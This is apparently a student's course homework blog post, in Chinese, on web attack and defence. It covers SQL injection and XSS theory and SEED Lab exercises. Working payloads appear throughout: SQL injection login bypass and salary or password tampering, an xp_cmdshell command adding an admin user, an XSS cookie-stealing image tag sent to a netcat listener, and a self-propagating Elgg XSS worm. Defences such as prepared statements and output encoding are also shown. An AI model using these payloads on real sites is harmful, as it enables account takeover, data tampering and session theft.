20199320 2019-2020-2 《网络攻防实践》第11周作业

20199320 2019-2020-2 《网络攻防实践》第11周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
我在这个课程的目标是 掌握网络攻防知识及操作
这个作业在哪个具体方面帮助我实现目标 掌握Web应用体系结构的安全威胁和Web应用程序的攻击技术

一、知识点总结

1.1 Web应用体系结构及其安全威胁

  • Web应用体系结构图

    如图:

  • 浏览器

    即Web客户端,如IE、Firefox、 Chrome 等,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。

  • Web服务器

    Web服务器软件通常被简单地描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web 服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。

  • Web应用程序

    Web应用程序发展为多层结构,最普遍应用的是三层(3-tiers) 体系结构,由表示层、业务逻辑层和数据层组成。

    • 表示层的功能是接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成;
    • 业务逻辑层从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层,业务逻辑层是Web应用程序的核心,其实现方式包括早期的CGI脚本程序,或目前流行的ASP、ASP.NET、PHP等动态脚本语言程序;
    • 最后,数据层以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新。
  • 数据库/后台

    用于Web应用存储数据,Web应用程序的业务逻辑层通过一系列的数据连接器连接至后台数据库关系系统,对数据库进行查询、操作和更新,常用数据连接器包括ODBC (开放数据库连接)、OLEDB (对象链接与嵌入数据库)、JDBC (Java 数据库连接)等。

  • 传输协议HTTP/HTTPS

    浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输
    协议是HTTP/HTTPS协议。

    • 其特点:无状态、ASCII 码明文传输、运行于众所周知的
      默认TCP80端口、使用统一资源标识符(Uniform Resource Identifiers. URI),对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式请求项资源。
    • 为了提升HTTP协议的安全,引入了SSL/TLS隧道技术来实现加密传输的HTTPS协议;采用Cookie机制进行会话状态管理,使得HTTP协议运行起来像是一个有状态的协议;嵌入基础认证、摘要认证、基于表单的认证、NTLM认证、协商认证、客户端证书认证等多种认证协议,来实现HTTP对用户身份的认证与控制。
  • Web应用安全威胁

    如图:

1.2 Web应用安全攻防技术概述

  • Web应用的信息收集

    前面我们学习了Web应用程序基本轮廓的信息收集技术,下面是针对Web应用程序的探测和漏洞发现的技术。

    • 手工审查Web应用程序结构与源代码

      • 静态和动态生成页面

        静态HTML页面一般不会遭受注入攻击,但一些隐藏字段可能存在敏感信息;

        动态页面中如果发现一个usermenu.asp 页面,那么就可能还存在一个叫做adminmenu.asp的页面,如果一个页面链接为book.asp?book jid=100, 那么可以猜想Web应用后台数据库中可能有一个book数据表,且主键名可能就是book_id。此外通过页面特征的识别可以准确地获知Web应用程序的具体类型,比如对于一个论坛,可以确认是否采用了流行Web论坛软件phpBB、phpWind、动网中的某一个进行构建。

      • 目录结构

        攻击者可能会探查Web服务器上的管理员目录、旧版本目录、备份目录、数据目录等,来确认是否存在,从而从中搜索包含关键信息的文件。

        Whisker可以来探查特定目录是否存在于目标服务器上,当遇到请求一个服务器上已存在目录时,服务器会返回客户端该目录的文件列表(开放目录文件枚举的情况),或者一个非404的错误码(禁止目录文件枚举),这样就可以获得目标Web站点的目录结构视图。

      • 辅助性文件

        手动审查CSS级联样式表、XML样式表、JavaScript文件、include 文件等辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。

      • 输入表单

        通过查源代码发现关键表单的位置,并可以深入地了解页面表单的各方面信息,包括提交数据的方法(使用GET还是POST来提交数据? )、 表单处理行为(调用什么脚本?使用何种脚本语言?)、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等,在了解这些关键信息之后,攻击者可能针对某些表单构造自动口令探测或者注入攻击的请求,尝试绕过表单正常处理过程,获得进一步访问权。

      • 查询参数字符串

        这些查询参数字符串可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。

    • 自动下载与镜像Web站点页面

      可借助下面工具:

      Linux上,lynx(一个基于文本的浏览器,提供快速浏览站点的方法)、wget;

      Windows上,TelePort ProOffline Explorer、迅雷、Flashget等。

    • 使用Google Hacking技术审查与探测Web应用程序

      Google Hacking技术特指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。

    • Web应用程序安全评估与漏洞探测

      • 目的:理解目标应用程序的体系结构和设计思路,找出可能存在的薄弱环节,最后再循序渐进地总结出针对这个Web应用程序的详细攻击步骤。

      • 工具:

        浏览器插件:TamperData (查看和修改请求header)、Firebug (编辑、调试和监控网页DOM元素)、View Source Chart (友好方式显示源代码)、Venkman JavaScript Debugger (强大的JavaScript脚本调试工具)、Live HTTP Headers (记录所有HTTP headers)等。

        免费工具类:(1)以Web服务器与客户端之间的代理方式运行,如微软开发的Fiddler、OWASP团队的WebScarab、Burp Suite、Paros Proxy和SPIKE Proxy等;(2)结合爬虫技术对目标Web站点进行源码爬取、分析与评估探测,发现其中包含的安全漏洞,如Whisker与Libwhisker库、以Perl脚本插件方式实现的命令行工具Nikto、能够检查30000多种HTTP安全问题的N-Stealth工具等;(3)国内流行的注入工具NBSI、HDSI、Domain 等,这类工具同样也可以由防御方用于尽早发现自己维护Web站点中存在的注入漏洞。

        商业类:Syhunt Sandcat、绿盟极光远程安全评估系统等。

  • 攻击Web服务器软件

    Web服务器平台中的安全漏洞分类:

    • 数据驱动的远程代码执行安全漏洞:缓冲区溢出、不安全指针、格式化字符串等。
    • 服务器功能扩展模块漏洞
    • 样本文件安全漏洞:软件包中包含样本文件和代码示例进行演示以让更多人接受,这些文件中存在很多漏洞。
    • 源代码泄漏:如IIS上的“+.hr”漏洞,通过
      "http://SERVER/global.asa+.htr”就可直接查看到global.asa文件内容。
    • 资源解析攻击:资源解析就是在处理资源请求时,将同一资源的不同表示方式解析为标准化名称。资源解析过程中如果遗漏合法性验证等,可能会遭受目录遍历、敏感信息泄漏、代码注入攻击等。
  • 攻击Web应用程序

    OWASP团队公布的2007年和2010年公布的Top10Web应用程序安全威胁类型如下:

  • 攻击Web数据内容

    • 安全敏感数据泄漏

      敏感数据可能通过Web服务器的目录遍历漏洞或目录枚举、上传目录中转文件时、缺乏安全意识等不经意泄漏,攻击者可能通过手工审查、镜像站点内容,以及使用Google Hacking技术进行搜索来获取到泄露的敏感数据。

    • 网络篡改

      利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。

    • 不良信息内容上传

  • Web应用安全防范措施

    • Web站点网络传输安全设防措施
      (1)尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性。
      (2)通过加密的连接通道来管理Web站点。
      (3)对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。

    • Web站点操作系统及服务安全设防措施

      (1)及时更新补丁。

      (2)远程安全漏洞扫描。

      (3)一系列设防措施:强口令、数据备份、部署防火墙等。

    • Web应用程序安全设防措施

      (1)在设计与开发Web应用时,应谨慎考虑是否采用动态页面技术。

      (2)对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包。

      (3)在开发和部署Web应用程序过程中需重视安全编程、持续性的安全测试与维护。

      (4)使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。

    • Web站点数据安全设防措施

      (1)提高网站内容维护人员的数据安全意识。

      (2)对维护网站的数据安全实施日常监测和防护。

1.3 SQL注入

代码注入根据攻击目标的不同分为:

(1)恶意读取、修改与操纵数据库的SQL注入攻击;

(2)在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;

(3)在Web服务器端悲意执行操作系统命令的Shell注入攻击;

(4)其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery 注入等。

下面详细介绍SQL注入。

  • SQL注入攻击原理

    向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制(如对输入参数的转义字符串过滤不完善;对输入参数的类型约束不完善),使得注入代码得以执行完成非预期的攻击操作行为。

  • SQL注入攻击步骤和过程

    (1)发现SQL注入点

    • 当some_rec字段是整数型参数时,

      # 将原先的“ yyy ”取值修改为“ yyy' ”(加单引号),返回错误页面
      http://SIZE/xxx.asp?some_rec=yyy'   //请求URL
      
      # 将原先的“ yyy ”取值修改为“ yyy and 1=1 ”,由于“1=1”为永真式,返回正常页面
      http://SIZE/xxx.asp?some_rec=yyy and 1=1   //请求URL
      SELECT * FROM some_table WHERE some_rec=yyy and 1=1  //SQL操作语句
      
      # 将原先的“ yyy ”取值修改为“ yyy and 1=2 ”,由于“1=2”为永假式,返回错误页面
      http://SIZE/xxx.asp?some_rec=yyy and 1=2   //请求URL
      SELECT * FROM some_table WHERE some_rec=yyy and 1=2  //SQL操作语句
      

      若以上都满足,则存在注入点。

    • 当some_rec字段是字符串型参数时,

      # 将原先的“ yyy ”取值修改为“ yyy' ”(加单引号),返回错误页面
      http://SIZE/xxx.asp?some_rec=yyy'   //请求URL
      
      # 将原先的“ yyy ”取值修改为“ yyy' and '1'='1 ”,由于“'1'='1'”为永真式,返回正常页面
      http://SIZE/xxx.asp?some_rec=yyy' and '1'='1   //请求URL
      SELECT * FROM some_table WHERE some_rec='yyy' and '1'='1'  //SQL操作语句
      
      # 将原先的“ yyy ”取值修改为“ yyy' and '1'='2 ”,由于“'1'='2'”为永假式,返回错误页面
      http://SIZE/xxx.asp?some_rec=yyy' and '1'='2   //请求URL
      SELECT * FROM some_table WHERE some_rec='yyy' and '1'='2'  //SQL操作语句
      

      若以上都满足,则存在注入点。

    (2)判断后台数据库类型

    • 利用数据库服务器的系统变量进行判断

      不同数据库服务器拥有不同的系统变量,如MS SQL Server 有user和db_ name()等系统变量,而MySQL有basedir等系统变量,执行http://SITE/xxx.asp?some_rec=yyy and db_name()>0不仅可以判断是否是MS SQL Server,而且还可以得到当前正在使用的数据库名。

    • 利用数据库服务器的系统表进行判断

      ACCESS的系统表是msysobjects,且在Web环境下没有访问权限,而MS SQL Server的系统表是sysobjects,在Web环境下有访问权限。执行:
      http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
      http://SITE/xxx.asp?some_rec = yyy and (select count(*) from msysobjects)>0
      若数据库是MS SQL Server,则第一条请求 URL运行正常,第二条则异常;若是ACCESS,则两条都会异常。

    (3)后台数据库中管理员用户口令字猜解

    • 猜解表名

    • 猜解字段名

    • 用户名与口令猜解

      //猜解用户名长度
      http://SITE/xxx.asp?some_rec = yyy and (select top 1 len(username) from Admin)>[guessed_ length]
      //逐位猜解字符串ASCII值(二分法)
      (select top 1 asc (mid (username,N,1)) from Admin)> [guessed_ascii]
      

    (4)上传ASP后门,得到默认账户权限

    (5)本地权限提升

    (6)利用数据库扩展存储过程执行Shell命令

    • 如果当前的数据库连接支持扩展存储过程,且拥有数据库管理系统的最高权限,那么我们就可以利用该存储过程直接调用操作系统的Shell命令进行任意的操作,而无须之前步骤(3)至步骤(5)的攻击过程了,如:

      //在系统中添加一个用户,并将其加入到本地管理员组中
      http://SITE/xxx.asp?some_rec=yyy; exec master.xp_ cmdshell “net user name password/add"
      http://SIiTE/xxx.asp?some_rec=yyy; exec master.xp. cmdshell “net localgroup name administrators /add"
      
  • SQL注入攻击工具

    • Wposion能够在动态Web文档中找出SQL注入漏洞;wielickock.pl 能够以并以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测;SPIKE Proxy工具允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试; SPI Toolkit工具包中也包含了一个名叫“SQL Injector"的自动化SQL注入测试工具。

    • 国内:CSC、NBSI、HDSI、阿D注入工具、WED、Domain、Pangolin 等。

  • SQL注入攻击防范措施

    • 使用类型安全的参数编码机制
    • 凡是来自外部的用户输入,必须进行完备检查
    • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
    • 加强SQL数据库服务器的配置和连接

1.4 XSS跨站脚本攻击

  • XSS跨站脚本攻击原理

    XSS(Cross Site Scripting)跨站脚本攻击的最终目标不是提供服务的Web应用程序,而是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息,客户端渗透攻击等危害后果。这种攻击最终的受害者是访问这些Web服务器的其他用户

  • XSS攻击类型

    安全业界普遍将其分为两种主要的XSS漏洞类型,即持久性XSS漏洞和非持久性XSS漏洞。利用这两类漏洞的攻击也被称为持久性XSS攻击与非持久性XSS攻击。

    • 持久性XSS漏洞通常出现在一些可以将用户输入持久性地保存在Web服务器端,并在一些正常页面中持续性地显示,从而能够影响所有访问这些页面的其他用户,这种漏洞通常出现在留言本,BBS论坛,博客等Web应用程序中;
    • 非持久性XSS漏洞,当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS漏洞
  • XSS攻击防范措施

    服务器端防范措施:

    • 输入验证
    • 输出净化
    • 除危险的输入点

    客户端防范措施

    • 提升浏览器的安全设置,提高浏览器访问非受信网站时的安全等级,关闭Cookie功能或设置Cookie只读,此外也可以用一些非主流的安全浏览器来降低风险。

二、实践内容和实践过程

2.1 SQL注入攻击实验

1. 实验环境

  • 虚拟机:seedubuntu 16.04

  • 访问的Web应用的URL和安装位置:

    URL: http://www.SEEDLabSQLInjection.com
    Folder: /var/www/SQLInjection/
    
  • 开启apache服务:

    $ sudo service apache2 start
    

2. 实验任务

该应用是一个员工管理系统,包含两种角色:Administrator(管理员,可管理所有人的信息) 和Employee(员工,只可查看和修改个人信息)。

(1)熟悉SQL语句


该应用我们创建的数据库是Users,包含一个credential表(存储了每个员工的个人信息,如id、密码、工资等),我们需要与数据库交互来熟悉SQL命令。

  • 登录My SQL数据库

    $ mysql -u root -pseedubuntu
    
  • 加载Users数据库

    mysql> use Users;
    

  • 查看该数据库中的表

    mysql> show tables;
    

  • 查询所有员工信息

    mysql> select * from credential;
    

  • 查询员工Alice的个人信息

    mysql> select * from credential where Name='Alice'; 
    


(2)对 SELECT 语句的攻击


  • 首先我们应该了解该应用是如何进行身份认证的,实验指导中给出了/var/www/SQLInjection目录下的php代码unsafe_home.php,如下是用户身份认证的相关代码:

    $input_uname = $_GET[’username’];
    $input_pwd = $_GET[’Password’];
    $hashed_pwd = sha1($input_pwd);
    ...
    $sql = "SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
    $result = $conn -> query($sql);
    // The following is Pseudo Code
    if(id != NULL) {
    if(name==’admin’) {
    return All employees information;
    } else if (name !=NULL){
    return employee information;
    }
    } else {
    Authentication Fails;
    }
    

    可见,用户需输入用户名input_uname和密码input_pwd,密码经过加密赋给hashed_pwd变量,然后从credential表中根据这两项搜索id, name, eid, salary, birth, ssn等并获取该用户信息,如果用户名是admin,则认证成功后获取到所有员工信息。

  • 在不知道密码的情况下利用SQL注入攻击登录admin用户

    • 网页端实施攻击

      在用户名和密码输入框都输入“ admin' OR '1'='1 ”,则最后组装的SQL语句为 $sql = "SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= ’admin' OR '1'='1’ and Password=’admin' OR '1'='1’";因为‘1’=‘1’是一个永真式,所以上述SQL语句永远为真,攻击者可在不知密码的情况下成功登录,如图:

    • 命令行实施攻击

      利用curl工具,执行如下指令:

      curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27+OR+%271%27%3D%271&Password=admin%27+OR+%271%27%3D%271
      

      “%27”:单引号“ ‘ ’”;

      “%3D”:等号“=”;

      执行后,从返回结果可知攻击成功,如图:

  • 添加一个新的SQL语句

    • 任务:在登录页面利用“;”插入一个新的SQL语句。这里我采用网页端的方式攻击。

    • 用户名输入:

      Alice';updata credential set Salary='20199320' where Name='Alice' #
      
    • 密码输入:

      1'='1
      
    • 执行后,出现如图错误:

      SQL语句插入失败。


(3)对 UPDATE 语句的攻击


  • 首先我们要知道员工修改信息机制, /var/www/SQLInjection目录下的unsafe edit backend.php中关于修改信息的代码如下:

    $hashed_pwd = sha1($input_pwd);
    $sql = "UPDATE credential SET
    nickname=’$input_nickname’,
    email=’$input_email’,
    address=’$input_address’,
    Password=’$hashed_pwd’,
    PhoneNumber=’$input_phonenumber’
    WHERE ID=$id;";
    $conn->query($sql);
    
  • 修改工资

    修改自己工资

    • 从上述代码我们知道,员工只可以修改自己的nicknames, emails, addresses, phone numbers, and passwords;但是不能改工资,这里假设我是Alice,通过SQL注入攻击修改自己工资。

    • 用用户名“Alice' or '1'='1”,密码“1‘=‘1’’登录Alice用户,如图:

    • 进入Edit Profile,在NickName那里输入语句', salary='30000' where EID='10000';#,这样#后面的就会被注释,所以就直接执行set salary='30000' where EID = '10000' 这个指令,直接修改工资。更新后我们回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。

    修改他人工资

    • 假设Boby是Alice老板,现在我是Alice身份,去惩罚一下我的老板,把他工资降到1美元。

    • 还是登录的Alice用户,进入Edit Profile,在NickName那里输入语句', salary='1' where Name='Boby';#,这样#后面的就会被注释,所以就直接执行UPDATE credential SET nickname=’’, salary=’1‘ where Name=’Boby‘ 这个指令,直接修改工资。还是上述方式登录admin,验证攻击成功,如图:

    修改他人密码

    • unsafe edit backend.php中发现密码是经SHA1加密的,执行echo -n "123123" | sha1sum得到“123123”的sha1值为601f1889667efaebb33b8c12572835da3f027f78

    • 还是登录的Alice用户,进入Edit Profile,在NickName那里输入语句', Password='601f1889667efaebb33b8c12572835da3f027f78' where Name='Boby';#,这样#后面的就会被注释,所以就直接执行UPDATE credential SET nickname='', Password='601f1889667efaebb33b8c12572835da3f027f78' where Name='Boby' 这个指令,直接修改密码。

    • 使用“123123”的密码登录Boby用户,可以成功登录,说明攻击成功,如图:


(4)对抗SQL注入——预编译指令


  • 我们要清楚发生上述SQL注入攻击的原因是应用程序不区分代码和数据,要实现SQL注入抵抗,首先要清楚当SQL服务器收到一个查询是如何工作的,下图即为SQL语句执行流程:

    在编译步骤中,查询首先经过解析和规范化阶段,在此阶段根据语法和语义检查查询。下一个阶段是编译阶段,关键字(例如SELECT、FROM、UPDATE等)被转换成机器可以理解的格式。基本上,在这个阶段,解释查询。在查询优化阶段,考虑执行查询的不同计划的数量,从中选择最优的计划。所选的计划存储在缓存中,因此每当出现下一个查询时,都将根据缓存中的内容进行检查;如果它已经出现在缓存中,解析、编译和查询优化阶段将被跳过。然后,将编译后的查询传递到实际执行查询的执行阶段。

    因此,预编译指令应该在编译后执行前,预编译查询运行时提供的数据不会通过编译,而是被直接插入预编译的查询,并被发送到执行引擎。因此,即使有SQL代码不经编译,也只是当作数据处理。

  • 一个对抗SELECT注入攻击的实验

    • 我们使用上面分析的预编译指令对/var/www/SQLInjection 目录下的unsafe_home.php中的sql代码进行修改,修改后的代码如下:

        $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
            $sql->bind_param("ss", $input_uname, $hashed_pwd);
            $sql->execute();
            $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
            $sql->fetch();
            $sql->close();
      

      真正提交的数据用“”代替,然后用bind param()函数提交,其中“ss”表示input_unamehashed_pwd字段是字符串类型数据库。

      注意修改需要先添加执行权限。

    • 回到网页,我们还是上述方式登录admin(name:admin' or '1'='1 password: 1'='1),发现已经登录不成功:

    • 再次验证一下,使用上面修改过密码的Boby登录,再修改工资,看看是否是将代码显示为数据。不过这一步我出错了,总是出现上面的查询错误,暂时还未找到解决方法。


2.2 XSS跨站脚本攻击

1. 实验环境

  • seedubuntu 16.04

  • 本次实验的Web应用——Elgg,网址和位置如下:

    URL: http://www.xsslabelgg.com
    Folder: /var/www/XSS/Elgg/
    

    Elgg服务器的用户和密码如下:

  • 开启apache服务:

    $ sudo service apache2 start
    

2. 实验任务

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

(1)熟悉"HTTP Header Live"工具


  • Firefox中添加扩展工具"HTTP Header Live"捕获和分析HTTP请求。

(2)发布恶意消息,显示警报窗口


  • 登录Alice用户(密码:seedalice),Edit profile,在Brief description中插入我们的XSS攻击代码 <script>alert('XSS');</script>。如下图所示

    这时保存后会后警示框发出提示,如图:

  • 登录其他用户验证一下

    登录Boby(密码seedboby),搜索到Alice用户,进入主页,如图,会发出提示,说明 JavaScript代码嵌入成功。


(3)弹窗显示cookie信息


  • 这一任务和上面类似,主要是将插入的js代码改成<script>alert(document.cookie);</script>即可,然后用Boby查看Alice的profile,得到的弹窗如下,正确的显示了自己的cookie信息。

(4)窃取受害者的cookies


  • 上一个任务只能弹出自己的cookie,这一任务中通过JavaScript代码可以看到受害者的cookies。在JavaScript中插入一个<img>标签,其src属性设置为攻击者的机器。这时浏览器尝试从src字段中的URL加载图片,HTTP GET请求发送到攻击者的机器。我们使用JavaScript将cookies发送到攻击者机器的5555端口,此时攻击者的TCP server侦听此端口,服务器则可打印出任何收到的内容。

  • Alice作为攻击者,仍在Brief description中插入我们的XSS攻击代码:

    <script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
    
  • 打开终端,执行nc -l 5555 -v对5555号端口进行监听,

    -l:指定端口;

    -v:显示详细信息

  • 然后使用Boby的账户登录并且查看Alice的profile,这时在终端就可以得到Boby的cookie信息,如图:


(5)成为受害者的朋友


  • 登陆Boby的账户,访问Alice的主页,点击Add Friend,并同时使用HTTP Header Live查看发送的数据,如图:

    可以发现:

    • 请求的方式是POST
    • 请求的地址是http://www.xsslabelgg.com/action/friends/add
    • 请求地址的第一个参数是friend=
    • 请求地址的第二个参数是elgg_ts=
    • 请求地址的第三个参数是elgg_token=
  • 综合上面的分析,实验指导中给出了如下的代码用于xss攻击自动添加好友:

    <script type="text/javascript">
    window.onload = function () {
    	var Ajax=null;
    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    	//Construct the HTTP request to add Samy as a friend.
    	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
    
    	//Create and send Ajax request to add friend
    	Ajax=new XMLHttpRequest();
    	Ajax.open("GET",sendurl,true);
    	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    	Ajax.send();
    }
    </script>
    

    分析:

    代码获取了elgg_ts=elgg_token=两个请求参数的内容,然后通过Ajax发送请求。

  • 先保证Boby没有添加Alice为好友。

  • 将上述代码添加到Alice的About me中。

    注:此字段提供两种编辑模式——编辑器模式(默认)和文本模式。

    编辑器模式向字段中键入的文本添加额外的HTML代码,而文本模式不添加。在输入上述JavaScript代码之前切换成文本模式,这样攻击代码中不会添加任何额外的代码。

  • 登录Boby用户,此时是没有好友的,访问Alice主页,再返回自己主页,发现已经有Alice好友了,如图:


(6)修改受害者的信息


  • 和上一个问题类似,我们首先要用HTTP Header Live看看修改资料时要做那些事情。为此我们登录Alice,点击Edit profile并保存,并同时使用HTTP Header Live查看发送的数据。我们得到如下图的信息:

    分析:

    • 请求的方式是POST
    • 请求的地址是http://www.xsslabelgg.com/action/profile/edit
    • 请求地址的第一个参数是&__elgg_token=
    • 请求地址的第二个参数是&__elgg_ts=
    • 请求地址的第三个参数是&__name=elgg.session.user.name
  • 综合上面的分析,实验指导中给出了如下的代码用于xss攻击修改受害者信息:

    <script type="text/javascript">
    	window.onload = function(){
    		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    		//and Security Token __elgg_token
    		var userName=elgg.session.user.name;
    		var guid="&guid="+elgg.session.user.guid;
    		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    		var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    		//Construct the content of your url.
    		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    		alert(content)
    		//FILL IN
    		var samyGuid=44;
    		//FILL IN
    		if(elgg.session.user.guid!=samyGuid)
    		{
    			//Create and send Ajax request to modify profile
    			var Ajax=null;
    			Ajax=new XMLHttpRequest();
    			Ajax.open("POST",sendurl,true);
    			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    			Ajax.setRequestHeader("Content-Type",
    			"application/x-www-form-urlencoded");
    			Ajax.send(content);
    		}
    	}
    </script>
    

    分析:

    首先获取访问者的&__elgg_token__elgg_ts&__name=elgg.session.user.name和页面的其他信息,构建请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST,设置请求头和其他信息,通过send函数发送请求

  • 将上述代码添加到Alice的About me中(文本模式)。

  • 登录Boby用户,此时他的主页是这样的:

  • 接着访问Alice主页,返回后,Boby自己主页已经被攻击,如图:


(7)编写XSS蠕虫


  • 有两种方法可以进行攻击的繁殖,一种是链接的方式,就是把脚本放在一个固定的地方;第二种方法,就是使用DOM API的方法,文档对象模型,将Web页面和脚本或程序语言连接起来。这里我们采用第二种。

  • 蠕虫代码如下:

    <script id="worm" type ="text/javascript">
    	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
    	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    	alert(jsCode);
    </script>
    

    分析:

    innerHTML标签获取了worm当前块内的所有代码,接着将innerHTML中缺失的头和尾补充上,为了防止其中的一些符号对字符进行了截断和转义 ,我们进行URI编码,也就是encodeURIComponent函数,最后提示输出。

  • 上述代码是蠕虫的传播部分,我们结合上一任务的攻击代码,形成了如下的蠕虫代码:

    <script id="worm" type="text/javascript">
    	window.onload = function(){
    		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    		var jsCode = document.getElementById("worm").innerHTML;
    		var tailTag = "</" + "script>"; 
    		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    
    		var userName=elgg.session.user.name;
    		var guid="&guid="+elgg.session.user.guid;
    		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    		var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    		//Construct the content of your url.
    		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    		alert(content)
    
    		var samyGuid=44;
    
    		if(elgg.session.user.guid!=samyGuid)
    		{
    			var Ajax=null;
    			Ajax=new XMLHttpRequest();
    			Ajax.open("POST",sendurl,true);
    			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    			Ajax.setRequestHeader("Content-Type",
    			"application/x-www-form-urlencoded");
    			Ajax.send(content);
    		}
    		
    	}
    </script>
    
  • 将上述代码添加到Alice的About me中(文本模式)。

  • 登录Boby用户,访问Alice,会出现XSS攻击提示框,如图:

  • 将Boby作为二级感染者,登录Samy,此时的主页是这样的:

  • Samy访问Boby,出现同样的XSS攻击提示框,说明XSS蠕虫感染成功,如图:


(8)对抗XSS攻击


  • 方法1:打开Elgg应用程序提供的自定义的内置安全插件HTMLawed。

    • 登录admin用户,右上角找到Account->administration,右侧栏找到plugins,向下滑找到插件 HTMLawed,点击Activate来应用它。这是一个可过滤输入输出的安全插件。

    • 设置好后,登录Alice用户,此时可以看到上一问插入的蠕虫感染代码被当作数据显示了出来:

  • 方法2:在代码中调用htmlspecialchars()方法,主要是对特殊字符进行编码,这个也能解决XSS攻击问题。

三、学习中遇到问题与解决

  • 问题1:seedubuntu中安装vmware tools出现tar: vmware-tools-distrib:无法 mkdir: 只读文件系统的问题。

    解决方法:出现这个问题的原因是安装vmware Tools时是虚拟出一个光驱的,这个光驱的权限只有只读,不能向里面写入。所以可以把压缩文件移动或复制到其他目录,具体安装过程:

    cd /media/seed  
    cp  VMwareTools-10.1.6-5214329.tar.gz /tmp  
    cd /tmp  
